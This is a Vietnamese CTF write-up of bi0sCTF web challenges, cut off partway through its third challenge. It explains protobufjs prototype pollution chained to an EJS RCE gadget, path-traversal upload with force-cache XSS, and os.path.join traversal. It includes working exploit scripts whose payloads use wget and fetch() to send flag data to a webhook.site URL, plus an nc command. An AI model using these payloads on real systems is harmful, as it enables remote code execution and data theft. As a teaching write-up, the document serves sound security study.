### required notes ``` DESCRIPTION Every CTF requires at least one overly complicated notes app. Author: Z_Pacifist ``` #### Recon Challenge cung cấp cho chúng ta một web app có khả năng thêm sửa và xóa các đoạn notes. Flag sẽ được lưu trên một file `.json` với tên file là một giá trị được random ``` function generateNoteId(length) { const characters = 'abcdefghijklmnopqrstuvwxyz0123456789'; let result = ''; for (let i = 0; i < length; i++) { const randomIndex = Math.floor(Math.random() * characters.length); result += characters.charAt(randomIndex); } return result; } let noteList = []; let flag = process.env.FLAG; if(!flag){ flag='{"title":"flag","content":"bi0sctf{fake_flag}"}'; } else{ flag=`{"title":"flag","content":"${flag}"}`; } const flagid = generateNoteId(16); const healthCheckId='Healthcheck'; fs.writeFileSync(`./notes/${flagid}.json`, flag); fs.writeFileSync(`./notes/${healthCheckId}.json`, '{"title":"Healthcheck","content":"success"}'); ``` **Ý tưởng ban đầu** Ban đầu mình thấy có function search câu hỏi mình đặt ra trong đầu là có thể tận dụng việc sử dụng kiểu tấn công XS-leak để có thể bắt `flag-id` hay không nó có thể tận dụng việc so sánh time match để có thể leak được các kí tự của `flag-id` ``` app.get('/search/:noteId', (req, res) => { const noteId = req.params.noteId; const notes=glob.sync(`./notes/${noteId}*`); if(notes.length === 0){ return res.json({Message: "Not found"}); } else{ try{ fs.accessSync(`./notes/${noteId}.json`); return res.json({Message: "Note found"}); } catch(err){ return res.status(500).json({ Message: 'Internal server error' }); } } }) ``` Tuy nhiên đoạn code `bot.js` lập tức dội cho mình gáo nước lạnh ``` const puppeteer = require('puppeteer'); async function healthCheck(){ const browser = await puppeteer.launch({ headless: true, args:['--no-sandbox'] }); const page = await browser.newPage(); await page.setJavaScriptEnabled(false) const response=await page.goto("http://localhost:3000/view/Healthcheck") await browser.close(); } module.exports = { healthCheck }; ``` Vấn đề thứ nhất nó không đi qua server mà chúng ta điều khiển thứ hai việc nó sử dụng `setJavascriptEnabled()` khiến việc chúng ta có thể leak `flag-id` cực kì khó khăn vì việc sử dụng javascript bị disable Gặp khó khắn trong việc xác định target thì mình được đề nghị việc sử dụng prototype pollution để thực thi RCE ![image](https://hackmd.io/_uploads/B1nBqm9ha.png) ``` app.post('/create', (req, res) => { requestBody=req.body try{ schema = fs.readFileSync('./settings.proto', 'utf-8'); root = protobuf.parse(schema).root; Note = root.lookupType('Note'); errMsg = Note.verify(requestBody); if (errMsg){ return res.json({ Message: `Verification failed: ${errMsg}` }); } buffer = Note.encode(Note.create(requestBody)).finish(); decodedData = Note.decode(buffer).toJSON(); const noteId = generateNoteId(16); fs.writeFileSync(`./notes/${noteId}.json`, JSON.stringify(decodedData)); noteList.push(noteId); return res.json({Message: 'Note created successfully!',Noteid: noteId }); } catch (error) { console.error(error); res.status(500).json({Message: 'Internal server error' }); } }); ``` Đoạn code này sử dụng `Protocol Buffers (protobuf)` để định nghĩa và xác thực cấu trúc dữ liệu. Khi có yêu cầu POST đến /create, nó đọc schema từ ```settings.proto``` ``` syntax = "proto2"; message Note { optional string title = 1 [default="user"]; optional string content = 2; optional string author = 3 [default="user"]; } ``` sau đó xác thực dữ liệu nhập từ người dùng với cấu trúc Note. Nếu dữ liệu hợp lệ, nó mã hóa và lưu trữ ghi chú vào tệp JSON. Hãy phân tích một chút về `protobufjs`: `` protobufjs là thư viện JavaScript cho Protocol Buffers (protobuf), định nghĩa cấu trúc dữ liệu và giao thức truyền thông độc lập. Đây giúp xác thực, mã hóa, và giải mã dữ liệu dựa trên schema đã định nghĩa. Với protobufjs, bạn có thể định nghĩa và sử dụng schema từ các file .proto, kiểm tra tính hợp lệ của dữ liệu, và mã hóa nó thành dạng nhị phân để truyền trên mạng. Thư viện này linh hoạt, hỗ trợ đa nền tảng, và cung cấp API dễ sử dụng, giúp tăng tính nhất quán và hiệu suất trong trao đổi dữ liệu giữa các hệ thống và ngôn ngữ. `` ##### CVE-2023-36665 Sau khi google một lúc về các lỗ hổng trên protobuf thì mình có tìm được một blog nói về việc ta có thể thực thi prototype pollution trong `protobufjs` xuất phát từ việc sử dụng `protobuf.parse` 1. Using the `parse` function ``` const protobuf = require("protobufjs"); protobuf.parse('option(a).constructor.prototype.verified = true;'); console.log({}.verified); // returns true ``` Trong `option(a).constructor.prototype.verified = true;`, `option(a)` là một cấu trúc trong protobuf để chỉ định một tùy chọn cho một message. Tuy nhiên, khi JavaScript đọc chuỗi này, nó sẽ thực hiện việc truy cập vào `constructor.prototype` của object a. Bằng cách gán `verified = true`, chúng ta đã thêm một thuộc tính verified vào prototype của tất cả các object có chứa `a` 2. Using the setParsedOption function of a ReflectionObject ``` const protobuf = require("protobufjs"); function gadgetFunction(){ console.log("User is authenticated"); } // This will fail, but also pollute the prototype of Object try { let obj = new protobuf.ReflectionObject("Test"); obj.setParsedOption("unimportant!", gadgetFunction, "constructor.prototype.testFn"); } catch (e) {} // Now we can make use of the new function on the polluted prototype const a = {}; a.testFn(); // Prints "User is authenticated" to the console ``` Ở đây, thư viện protobufjs được import và một hàm gadgetFunction được định nghĩa chỉ đơn giản là in ra "User is authenticated" khi được gọi. *Thử và bắt lỗi khi tạo ReflectionObject*: ``` try { let obj = new protobuf.ReflectionObject("Test"); obj.setParsedOption("unimportant!", gadgetFunction, "constructor.prototype.testFn"); } catch (e) {} ``` Trong khối `try`, đoạn code tạo một `ReflectionObject` với tên "Test". Tuy nhiên, dòng code `obj.setParsedOption(...)` đang cố gắng thiết lập một tùy chọn được phân tích của đối tượng, nhưng đường dẫn đã chọn `constructor.prototype.testFn` là không hợp lệ trong ngữ cảnh này của thư viện protobufjs. Điều này sẽ gây ra một lỗi. *Pollute prototype của Object*: ``` const a = {}; a.testFn(); ``` Sau đó, trong khối mã này, một đối tượng `a` được tạo. Dòng `a.testFn()` được gọi, mặc dù không có thuộc tính testFn nào được định nghĩa trên `a`. Tuy nhiên, vì đoạn mã trước đó đã thực hiện gán gadgetFunction vào `constructor.prototype.testFn`, điều này ảnh hưởng đến prototype của tất cả các đối tượng trong JavaScript. Do đó, khi gọi `a.testFn()`, nó sẽ thực sự gọi `gadgetFunction`, và kết quả sẽ là in ra `User is authenticated`. 3. Using the function util.setProperty ``` const protobuf = require("protobufjs"); protobuf.util.setProperty({}, "constructor.prototype.verified", true); console.log({}.verified); // returns true ``` Ta đã tìm được cách để khai thác được prototype pollution tuy nhiên làm cách nào để có thể trigger RCE đây Mình chú ý đến route `/customise`, ta có thể control được hai params ở đây là `author` và `title` ![image](https://hackmd.io/_uploads/Syvk4Nc2p.png) Ta được set các giá trị mặc định là `required` hoặc là `optional` ![image](https://hackmd.io/_uploads/SyaW4Nq2a.png) ``` app.post('/customise',(req, res) => { try { const { data } = req.body; let author = data.pop()['author']; let title = data.pop()['title']; let protoContents = fs.readFileSync('./settings.proto', 'utf-8').split('\n'); if (author) { protoContents[5] = ` ${author} string author = 3 [default="user"];`; } if (title) { protoContents[3] = ` ${title} string title = 1 [default="user"];`; } fs.writeFileSync('./settings.proto', protoContents.join('\n'), 'utf-8'); return res.json({ Message: 'Settings changed' }); } catch (error) { console.error(error); res.status(500).json({ Message: 'Internal server error' }); } }) ``` Ở trên ta có thể dễ dàng thấy việc truyền vào hai params này không bị sanitize thêm nữa các giá trị này được hiện thị thông qua việc sử dụng ejs ở trong `view.ejs`: ``` <h1>Note Details</h1> <% if (noteData.title) { %> <h2><%= noteData.title %></h2> <% } %> <% if (noteData.author) { %> <p>Author: <%= noteData.author %></p> <% } %> <p><%- noteData.content %></p> <button onclick="redirectToTemp()">Delete</button> ``` That's right ta hoàn toàn có thể trigger RCE thông qua việc sử dụng một lỗ hổng ở `ejs 3.1.9` ###### EJS - Server Side Prototype Pollution gadgets to RCE Chúng ta hãy phân tích một chút về lỗ hổng này [Render()](https://github.com/mde/ejs/blob/f818bce2a5b72866f205c9284e8257f2b155aa66/lib/ejs.js#L415) ``` exports.render = function (template, d, o) { var data = d || utils.createNullProtoObjWherePossible(); var opts = o || utils.createNullProtoObjWherePossible(); // No options object -- if there are optiony names // in the data, copy them to options if (arguments.length == 2) { utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA); } return handleCache(opts, template)(data); }; ``` [createNullProtoObjWherePossible()](https://github.com/mde/ejs/blob/f818bce2a5b72866f205c9284e8257f2b155aa66/lib/utils.js#L208) ``` exports.createNullProtoObjWherePossible = (function () { if (typeof Object.create == 'function') { return function () { return Object.create(null); }; } if (!({__proto__: null} instanceof Object)) { return function () { return {__proto__: null}; }; } // Not possible, just pass through return function () { return {}; }; })(); ``` Ta có thể thấy nó kiểm tra xem hàm `Object.create` có tồn tại không. Nếu có, nó trả về một hàm khác để tạo object với prototype là null bằng `Object.create(null)``. Nếu `Object.create` không tồn tại, nó kiểm tra xem `{__proto__: null}` instanceof Object có trả về false không. Nếu không, nó sử dụng cú pháp `{__proto__: null}` để tạo object với prototype là null. Trong trường hợp không thể tạo object không có prototype, nó trả về một hàm mặc định để tạo object thông thường với prototype là `Object.prototype`. Như chúng ta có thể thấy từ đoạn code ở trên, gần như không thể lạm dụng việc sử dụng `SSPP` để có thể inject vào một `newly created object` bên trong the library. Do đó sẽ là không thực tế dành cho `user's provided` objects. Tại sao? Từ EJS maintainer's perspective, inputs provided by users to the library aren't the responsibility of EJS [security.md](https://github.com/mde/ejs/blob/main/SECURITY.md). Tuy nhiên nếu chúng ta cứ cho một giả dụ rằng có một `d object` (user's config) có một infected prototype, nó sẽ bypass all the protections. Ở đây, khi một [Template](https://github.com/mde/ejs/blob/f818bce2a5b72866f205c9284e8257f2b155aa66/lib/ejs.js#L397) object được created, infected options will be used ``` exports.compile = function compile(template, opts) { var templ; ... templ = new Template(template, opts); return templ.compile(); }; ``` Bây giờ chúng ta biết rằng có thể kiểm soát prototype của đối tượng cấu hình (config), điều này cho phép đi sâu hơn vào việc khai thác. Để chuẩn bị cho quá trình tạo template, EJS biên dịch một [function](https://github.com/mde/ejs/blob/f818bce2a5b72866f205c9284e8257f2b155aa66/lib/ejs.js#L571) sau đó sẽ được đánh giá để tạo ra mã HTML ![image](https://hackmd.io/_uploads/SkXXi4cn6.png) Ngoài ra, EJS sử dụng một số thành phần cấu hình để tạo ra hàm này. Hầu hết chúng được santinize bằng cách sử dụng `_JS_IDENTIFIER regex`. Tuy nhiên chúng chưa phủ hết được tất cả các trường hợp ``` compile: function () { /** @type {string} */ var src; /** @type {ClientFunction} */ var fn; var opts = this.opts; var prepended = ''; var appended = ''; /** @type {EscapeCallback} */ var escapeFn = opts.escapeFunction; /** @type {FunctionConstructor} */ var ctor; /** @type {string} */ var sanitizedFilename = opts.filename ? JSON.stringify(opts.filename) : 'undefined'; ... if (opts.client) { src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src; if (opts.compileDebug) { src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src; } } ... return returnedFn; ``` Ở đây, nếu `opts.client` exists, `opts.escapeFunction` attribute sẽ reflected inside the function body. Vì `opts.client` và `opts.escapeFunction` không được set by default, do đó ta có thể reach được eval sink nhằm thực thi RCE ``` { "__proto__": { "client": 1, "escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')" } } ``` ![image](https://hackmd.io/_uploads/H1iZa45h6.png) Như vậy từ việc phân tích ở trên ta có thể hình thành ý tưởng ban đầu bằng cách sử dụng vul của `protobufjs` nhằm thực thi prototype pollution sau đó thông qua EJS Server Side Prototype Pollution gadgets to RCE ta có thể trigger được flag bằng sử dụng wget để có thể post được flag ra ngoài từ `notes/*` #### Exploit ``` import httpx BASE_URL = "https://ch1578143305.ch.eng.run" client = httpx.Client(base_url=BASE_URL) def attack(key: str, value: str): author = "option(a).constructor.prototype." + key + "=" + value + "" res = client.post( "/customise", json={ "data": [ {}, { "author": author, }, ] }, ) assert res.json()["Message"] == "Settings changed", res.text res = client.post("/create", json={}) assert res.status_code == 500 attack("client", "1") attack( "escapeFunction", "\"JSON.stringify; process.mainModule.require('child_process').exec('wget https://webhook.site/cc458d47-4062-45bd-ad82-8784f21a3288 --post-data=\\\"$(cat notes/*)\\\"')\"", ) client.get("/create") ``` ##### Result ![image](https://hackmd.io/_uploads/BJQkerq3T.png) `Flag: bi0sctf{YSJmUZQso7z6edGqJ7kR2A==}` ### Image gallery 1 ``` DESCRIPTION Image gallery service provides you the best solution to store your precious images. Do not forget to share your images with admin. Author: ma1f0y ``` #### Recon Challenge cung cấp cho ta một web app giúp ta upload các tệp hình ảnh ![image](https://hackmd.io/_uploads/rkVrUB92p.png) ``` const plantflag = () => { fs.mkdirSync(path.join(__dirname,`/public/${flag_id}`)) fs.writeFileSync(path.join(__dirname,`/public/${flag_id}/flag.txt`),process.env.FLAG||'flag{asdf_asdf}') } ``` Flag được đặt trong một endpoint `flag-id` được random ```const flag_id = randomUUID()``` và được set ở cookie trong bot.js ![image](https://hackmd.io/_uploads/Sk8ZDr92p.png) Vậy target của challenge này là việc ta thực thi XSS để có thể trigger được `flag-id` ra ngoài Tiếp tục phân tích endpoint `/upload` ``` app.post('/upload',async(req,res) => { if (!req.files || !req.cookies.sid) { return res.status(400).send('Invalid request'); } try{ const uploadedFile = req.files.image; if (uploadedFile.size > maxSizeInBytes) { return res.status(400).send('File size exceeds the limit.'); } await uploadedFile.mv(`./public/${req.cookies.sid}/${uploadedFile.name}`); }catch{ return res.status(400).send('Invalid request'); } res.status(200).redirect('/'); return }) ``` Ta có thể thấy không có một filter nào trong việc upload file như vậy dễ dàng để chúng ta có thê upload một file `.html` nhằm thực thi XSS Ở đây mình upload một file `exploit.html` để thực thi XSS ![image](https://hackmd.io/_uploads/rk82_rqh6.png) and Result ![image](https://hackmd.io/_uploads/rkH0dSqnp.png) Ngay lập tức mình sử dụng `fetch()` nhằm có thể call cookie ra ngoài ![image](https://hackmd.io/_uploads/HyiNtH52T.png) But nothing happen !!!!! Xét lại đoạn code thì mình chú ý đến việc xử lý ở `bot.js` ``` const puppeteer = require("puppeteer"); const fs = require("fs"); async function visit(flag_id,id) { const browser = await puppeteer.launch({ args: [ "--no-sandbox", "--headless" ], executablePath: "/usr/bin/google-chrome", }); try { let page = await browser.newPage(); await page.setCookie({ httpOnly: true, name: 'sid', value: flag_id, domain: 'localhost', }); page = await browser.newPage(); await page.goto(`http://localhost:3000/`); await new Promise((resolve) => setTimeout(resolve, 3000)); await page.goto( `http://localhost:3000/?f=${id}`, { timeout: 5000 } ); await new Promise((resolve) => setTimeout(resolve, 3000)); await page.close(); await browser.close(); } catch (e) { console.log(e); await browser.close(); } } module.exports = { visit }; ``` Như chúng ta có thể thấy cookie được set với `httpOnly:true`. `httpOnly` là: Thuộc tính chỉ định rằng cookie chỉ có thể được truy cập thông qua HTTP hoặc HTTPS và không thể truy cập từ mã JavaScript trong trang web. Điều này có ý nghĩa là cookie không thể được đọc hoặc chỉnh sửa bằng cách sử dụng các mã JavaScript chạy trên trang web. Nó lí giải vì sao ta không thể call được cookie ra ngoài thông qua việc sử dụng `fetch()`. Tuy nhiên có một số điểm them ta cần chú ý ở đây rằng bot nó sẽ tới endpoint `/` sau đó delay khoảng 3s trước khi nó tới endpoint `/?f=`. Mình tự hỏi tại sao tác giả phải làm như vậy để làm gì ![image](https://hackmd.io/_uploads/S1qV3B5np.png) Tuy nhiên khi tiếp tục phân tích ở `app.js` mình thấy việc xử lý req.cookies.sid không bị sanitize vậy rõ ràng ở đây ta có thể tận dụng path traversal `/{sid}/../../../app/public` để có thể lưu được file upload ở `/` ``` await uploadedFile.mv(`./public/${req.cookies.sid}/${uploadedFile.name}`); ``` Ý tưởng được khởi xướng bởi teamate của mình rằng ta có thể upload một file XSS ở `/` khi bot tới `/` có thể call được response ra ngoài ![image](https://hackmd.io/_uploads/rJe96Sc3T.png) Tuy nhiên từ phân tích ban đầu việc call được cookie ra ngoài vẫn bị dính `httpOnly` ![image](https://hackmd.io/_uploads/r1-v-89ha.png) Nhưng có một điều kì lạ là khi dữ liệu bot call ra ngoài lại vô tình là payload mà ta đã tạo trước đó ![image](https://hackmd.io/_uploads/H1os-8cnT.png) ![image](https://hackmd.io/_uploads/BkBZGIqh6.png) Như vậy khi ta upload một file `index.html` lên `/` vô tình chúng ta lại ghi đè file `index.ejs` trước đó khi con bot trigger tới `/` thì nó sẽ call qua file `index.html` chúng ta vừa upload sau đó file này sẽ thực thi và gửi nội dung tới webhook điều này giải thích tại sao đoạn data gửi lên webhook lại là payload mà chúng ta gửi ban đầu. Vậy liệu có cách nào trước khi file index.html được ghi đè ta có thể lấy được file `index.ejs` trước đó lúc này nó sẽ chứa giá trị của `flag-id` ``` const app = express(); app.set('view engine', 'ejs'); app.use(express.static('public')); app.use(cookieParser()); app.use(fileUpload()); app.use(express.json()) app.get('/', async(req, res) => { if(req.cookies.sid && /^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$/.test(req.cookies.sid)){ try { const files = btoa(JSON.stringify(fs.readdirSync(path.join(__dirname,`/public/${req.cookies.sid}`)))); return res.render('index', {files: files,id : req.cookies.sid}); } catch (err) {} } let id = randomUUID(); fs.mkdirSync(path.join(__dirname,`/public/${id}`)) res.cookie('sid',id,{httpOnly: true}).render('index', {files: null, id: id}); return; }); ``` Như ta có thể thấy ở trên do giá trị `id` được tạo sau `flag-id` nên khi `index.ejs` được render giá trị id nằm trong đó sẽ được set là `flag-id` ``` # index.ejs <% if (files) { %> const fileNames = JSON.parse(atob('<%= files %>')) for(i=0;i<fileNames.length;i++){ fileName = fileNames[i] const imgElement = document.createElement('img'); imgElement.src = `/<%= id %>/${fileName}`; imgElement.alt = `Image: ${fileName}`; galleryDiv.appendChild(imgElement); } <% } %>`` ``` Điều này làm mình stuck khá lâu, gần như là chưa đưa ra được ý tưởng gì ![image](https://hackmd.io/_uploads/BJZsVU926.png) Nhưng lại một lần nữa được teamate cứu giúp ![image](https://hackmd.io/_uploads/rJ1fS8qhT.png) force-cache là một chỉ dẫn trong HTTP header được sử dụng để yêu cầu trình duyệt lưu trữ tài nguyên trong bộ nhớ cache và sử dụng tài nguyên cache mà không cần kiểm tra xem tài nguyên đó đã hết hạn hay chưa. Khi một tài nguyên được yêu cầu với chỉ dẫn force-cache, trình duyệt sẽ không gửi yêu cầu đến máy chủ để kiểm tra xem tài nguyên đã thay đổi hay không, thay vào đó nó sẽ sử dụng phiên bản cache của tài nguyên nếu nó đã được lưu trữ. Cách sử dụng force-cache là thêm nó vào trong HTTP request header khi gửi yêu cầu tới máy chủ. Dưới đây là cách sử dụng force-cache trong mã JavaScript khi sử dụng fetch() hoặc XMLHttpRequest ###### Ví dụ: Lấy và Lưu Trữ Dữ Liệu từ API sử dụng force-cache Trong ví dụ này, chúng ta sẽ sử dụng fetch() để gửi yêu cầu đến một API để lấy dữ liệu và lưu trữ vào bộ nhớ cache của trình duyệt. Khi yêu cầu được gửi lần đầu tiên, trình duyệt sẽ lưu trữ dữ liệu trong cache. Khi yêu cầu được gửi lại, trình duyệt sẽ sử dụng lại dữ liệu từ cache mà không cần gửi yêu cầu đến API ``` <!DOCTYPE html> <html> <head> <title>Fetch with Force-Cache Example</title> </head> <body> <button onclick="getData()">Get Data</button> <div id="output"></div> <script> function getData() { fetch("https://jsonplaceholder.typicode.com/todos/1", { cache: 'force-cache' }) .then(response => response.json()) .then(data => { document.getElementById("output").innerHTML = JSON.stringify(data); }) .catch(error => console.error('Error:', error)); } </script> </body> </html> ``` Phân Tích: Trong ví dụ này, khi người dùng nhấn vào nút `Get Data`, một yêu cầu `fetch()` được gửi đến API của `jsonplaceholder` để lấy dữ liệu về một todo cụ thể (todo có id=1). `fetch()` được gửi với option `{ cache: 'force-cache' }`, điều này có nghĩa là trình duyệt sẽ sử dụng cache nếu có, và không gửi yêu cầu mới đến máy chủ. Khi dữ liệu được trả về từ API, chúng ta hiển thị dữ liệu đó lên trang web. Khi bạn nhấn vào nút "Get Data" lần đầu tiên, trình duyệt sẽ gửi yêu cầu đến API để lấy dữ liệu và lưu trữ vào cache. Khi bạn nhấn nút "Get Data" lần thứ hai trở đi, trình duyệt sẽ không gửi yêu cầu mới đến API, thay vào đó nó sẽ sử dụng dữ liệu đã được lưu trữ trong cache để hiển thị lên trang web. Điều này giúp giảm thời gian phản hồi và tăng hiệu suất của ứng dụng web, đặc biệt là khi dữ liệu không thay đổi thường xuyên. ![image](https://hackmd.io/_uploads/B1tsJn53p.png) Vậy câu hỏi từ đầu đã được giải quyết lúc này ta chỉ cần để con bot nó check sau đó gửi payload có chứa force-cache khi đó toàn bộ file `index.ejs` trước khi bị ghi đè sẽ được leak ra ngoài qua đó ta có thể lấy được giá trị của `flag-id` ![image](https://hackmd.io/_uploads/B1vuI8chp.png) #### Exploit ``` <script> fetch("/", {"cache":"force-cache"}).then(r => r.text()).then(r => fetch("https://webhook.site/cc458d47-4062-45bd-ad82-8784f21a3288?f="+ btoa(r))) </script> ``` ![image](https://hackmd.io/_uploads/r187OIcha.png) #### Result ![image](https://hackmd.io/_uploads/By04_Uc2p.png) ![image](https://hackmd.io/_uploads/By_POI9ha.png) `Flag: bi0sctf{B59P6FySWbMnmlC93xG/Jw==}` ### bad Notes ``` DESCRIPTION no hack pls Author: sk4d ``` Challenge cung cấp cho chúng ta một form login và register bây giờ hãy create một account và login vào bên trong ![image](https://hackmd.io/_uploads/BkjlypcnT.png) Nó cho phép ta tạo 1 đoạn note với 2 params có thể được control ở đây có `title` và `content` ![image](https://hackmd.io/_uploads/BJIdkT5n6.png) ![image](https://hackmd.io/_uploads/r1RHgpqhT.png) Sơ lược về chức năng của web app là như vậy ta hãy đi tới source code, ở đây mình đặc biệt chú ý đên việc nó xử lý endpoint `/register` ``` from flask import Flask,render_template,request,session,redirect,Response from flask_caching import Cache import sqlite3 import os from urllib.parse import urlsplit import base64 import uuid cache = Cache() curr_dir = os.path.dirname(os.path.abspath(__file__)) app = Flask(__name__) UPLOAD_FOLDER = os.path.join(curr_dir,"user_uploads") app.secret_key = str(uuid.uuid4()) app.config['MAX_CONTENT_LENGTH'] = 1 * 1000 * 1000 app.config['CACHE_TYPE'] = 'FileSystemCache' app.config['CACHE_DIR'] = './caches' app.config['CACHE_THRESHOLD'] = 100000 cache.init_app(app) def getDB(): conn = sqlite3.connect(os.path.join(curr_dir,"docview.db")) cursor = conn.cursor() return cursor,conn def isSecure(title): D_extns = ['py','sh'] D_chars = ['*','?','[',']'] extension = title.split('.')[-1] if(extension in D_extns): return False for char in title: if char in D_chars: return False return True @app.route('/',methods=["GET"]) def index(): return redirect("/login",code=302) @app.route('/dashboard',methods=["GET"]) @cache.cached(timeout=1,query_string=True) def home(): try: if(session.get("loggedin") != "true"): return redirect('/login',code=302) file_path = os.path.join(UPLOAD_FOLDER,session.get('id')) notes_list = os.listdir(file_path) return render_template('dashboard.html',message=session.get('user'),notes=notes_list) except Exception as e: print(f"ERROR: {e}",flush=True) return "You broke the server :(",400 @app.route('/login',methods=["GET","POST"]) def login(): try: if(session.get("loggedin") == "true"): return redirect('/dashboard',code=302) if(request.method == "POST"): user = request.form.get("username").strip() passw = request.form.get("password").strip() cursor,conn = getDB() rows = cursor.execute("SELECT username,docid FROM accounts WHERE username = ? and password=?",(user,passw,)).fetchone() if rows: session["loggedin"] = "true" session["user"] = user session['id'] = rows[1] file_path = os.path.join(UPLOAD_FOLDER,session.get('id')) notes_list = os.listdir(file_path) return render_template('dashboard.html',message=session.get("user"),notes=notes_list) return render_template('login.html',message="Username/Password doesn't match") return render_template('login.html') except Exception as e: print(f"ERROR: {e}",flush=True) return "You broke the server :(",400 @app.route('/register',methods=["GET","POST"]) def register(): try: if(request.method == "POST"): user = request.form.get("username").strip() passw = request.form.get("password").strip() cursor,conn = getDB() rows = cursor.execute("SELECT username FROM accounts WHERE username = ?",(user,)).fetchall() if rows: return render_template('register.html',message="user already exists") direc_id = str(uuid.uuid4()) query = "INSERT INTO accounts VALUES(?,?,?)" res = cursor.execute(query,(user,passw,direc_id)) conn.commit() if(res): os.mkdir(os.path.join(UPLOAD_FOLDER,direc_id)) return redirect('/login') return render_template('register.html') except Exception as e: print(f"ERROR: {e}",flush=True) return "You broke the server :(",400 @app.route('/makenote',methods=["POST"]) def upload(): try: if(session.get("loggedin") != "true"): return redirect('/login',code=302) title = request.form.get('title') content = base64.b64decode(request.form.get('content')) if(title == None or title==""): return render_template('dashboard.html',err_msg="title cannot be empty"),402 if(not isSecure(title)): return render_template('dashboard.html',err_msg="invalid title") file_path = os.path.join(UPLOAD_FOLDER,session.get('id')) notes_list = os.listdir(file_path) try: file = os.path.join(file_path,title) if('caches' in os.path.abspath(file)): return render_template('dashboard.html',err_msg="invalid title",notes = notes_list),400 with open(file,"wb") as f: f.write(content) except Exception as e: print(f"ERROR: {e}",flush=True) return render_template('dashboard.html',err_msg="Some error occured",notes = notes_list),400 return redirect('/dashboard',code=302) except Exception as e: print(f"ERROR: {e}",flush=True) return "You broke the server :(",400 @app.route('/viewnote/<title>',methods=["GET"]) def viewnote(title): try: if(session.get("loggedin") != "true"): return redirect('/login',code=302) cursor,conn = getDB() res = cursor.execute("SELECT docid FROM accounts WHERE username=?",(session.get('user'),)).fetchone() path = os.path.join(UPLOAD_FOLDER,res[0]) notes_list = os.listdir(path) if(title in notes_list): with open(os.path.join(path,title),"rb") as f: return f.read() return "The note doesn't exist/you dont have access",400 except Exception as e: print(f"ERROR: {e}",flush=True) return "You broke the server :(",400 @app.route("/logout",methods=["GET","POST"]) def logout(): session.pop('loggedin') session.pop('id') session.pop('user') return redirect("/login",code=302) if(__name__=="__main__"): app.run(host="0.0.0.0",port=7000,debug=False) ``` Ở endpoint `/register`, ta có thể chú ý đến việc nó sử dụng `os.mkdir(os.path.join(UPLOAD_FOLDER,direc_id))` `os.path.join` là một hàm trong Python cung cấp bởi module `os.path`. Nó được sử dụng để xây dựng một đường dẫn hoàn chỉnh từ các thành phần của đường dẫn (tên thư mục, tên file), bằng cách sử dụng phân cách thích hợp cho hệ điều hành đang chạy Tuy nhiên việc sử dụng nó mà không bị sanitize thì sẽ có nguy cơ đối với một lỗ hổng path traversal ![image](https://hackmd.io/_uploads/SyPG7Tq36.png) Như bạn có thể thấy ta có thể dễ dàng ghi đề giá trị `User/Desktop` bằng `etc/passwd` Trong trường hợp này ta sử dụng `os.path.join(path, 'User/Desktop', '/etc/passwd')` với `path` là `home`, điều này có thể dẫn đến lỗ hổng về path traversal. Hãy xem xét ví dụ này để hiểu rõ hơn: ``` import os path = '/home' result_path = os.path.join(path, 'User/Desktop', '/etc/passwd') print(result_path) ``` Kết quả của đoạn mã trên không phải là ``'/home/User/Desktop/etc/passwd'`` như nhiều người nghĩ. Thực tế, kết quả sẽ là ``'/etc/passwd'``. Điều này xảy ra vì `os.path.join` sẽ kết hợp các thành phần đường dẫn bằng cách loại bỏ các phần trước đó nếu chúng bắt đầu bằng dấu ``/`` ``'/home'``: Đây là giá trị của biến path. ``'User/Desktop'``: Đây là một phần tử bình thường trong os.path.join, không có vấn đề gì. ``'/etc/passwd'``: Đây là một đường dẫn tuyệt đối tới tệp /etc/passwd. Khi kết hợp, `os.path.join` sẽ bắt đầu từ ``'/home'`` sau đó `User/Desktop` được thêm vào. Tuy nhiên, khi gặp ``'/etc/passwd'``, nó sẽ bỏ qua mọi thứ trước và trả về ``'/etc/passwd'``. Vậy nếu ta có thể sử dụng lỗ hổng này để ghi đè lên một đoạn template nào đó của server ở đây cụ thể là register.html thì sao, lúc đó ta có thể trigger được SSTI để thực thi RCE hay không Trong Python và các framework web như Flask, `render_template` không liên quan trực tiếp đến việc lưu nội dung của tệp sau khi nó được thực thi. render_template được sử dụng để render một template (mẫu) HTML hoặc một trang web từ dữ liệu mà bạn truyền vào, và sau đó trả về kết quả đó để hiển thị trên trình duyệt của người dùng. Ở đoạn code đã cung cấp, có vẻ nếu `render_template` được gọi mỗi khi trang được truy cập, thì mỗi lần trang được tải lại, nó sẽ không ảnh hưởng đến nội dung của tệp mà trang này liên quan tới. Điều này có thể là đúng nếu tệp đó được đọc mỗi lần trang được render, thay vì đọc một lần khi ứng dụng khởi động và lưu trữ nội dung trong cache ``` if('caches' in os.path.abspath(file)): return render_template('dashboard.html',err_msg="invalid title",notes = notes_list),400 with open(file,"wb") as f: f.write(content) ``` Ví dụ: Giả sử chúng ta có một ứng dụng Flask đơn giản cho việc đăng ký người dùng. Khi người dùng cố gắng đăng ký, chúng ta kiểm tra xem tên người dùng đã tồn tại hay không. Nếu tên người dùng đã tồn tại, chúng ta chuyển hướng đến trang /login để đăng nhập. Tuy nhiên, nếu tên người dùng không tồn tại và yêu cầu là POST, chúng ta muốn ghi đè lên register.html để thêm một thông báo lỗi và sau đó kích hoạt render_template để hiển thị trang đăng ký với thông báo lỗi mới ``` #app.py from flask import Flask, render_template, request, redirect, url_for app = Flask(__name__) # Giả sử danh sách tên người dùng đã đăng ký registered_users = ['user1', 'user2'] @app.route('/', methods=['GET', 'POST']) def register(): if request.method == 'POST': username = request.form['username'] if username in registered_users: # Nếu tên người dùng đã tồn tại, chuyển hướng đến trang đăng nhập return redirect(url_for('login')) else: # Nếu tên người dùng không tồn tại, ghi đè lên register.html và render lại template with open('templates/register.html', 'w') as file: file.write('<h2>Username does not exist. Please try again.</h2>') return render_template('register.html') else: # Trang đăng ký mặc định return render_template('register.html') @app.route('/login') def login(): return "<h1>Login Page</h1>" if __name__ == '__main__': app.run(debug=True) ``` ``` #register.html <!DOCTYPE html> <html> <head> <title>Register Page</title> </head> <body> <h1>Register</h1> <form method="POST"> <label for="username">Username:</label> <input type="text" id="username" name="username"> <input type="submit" value="Register"> </form> </body> </html> ``` Trong ví dụ này: Khi người dùng truy cập vào trang đăng 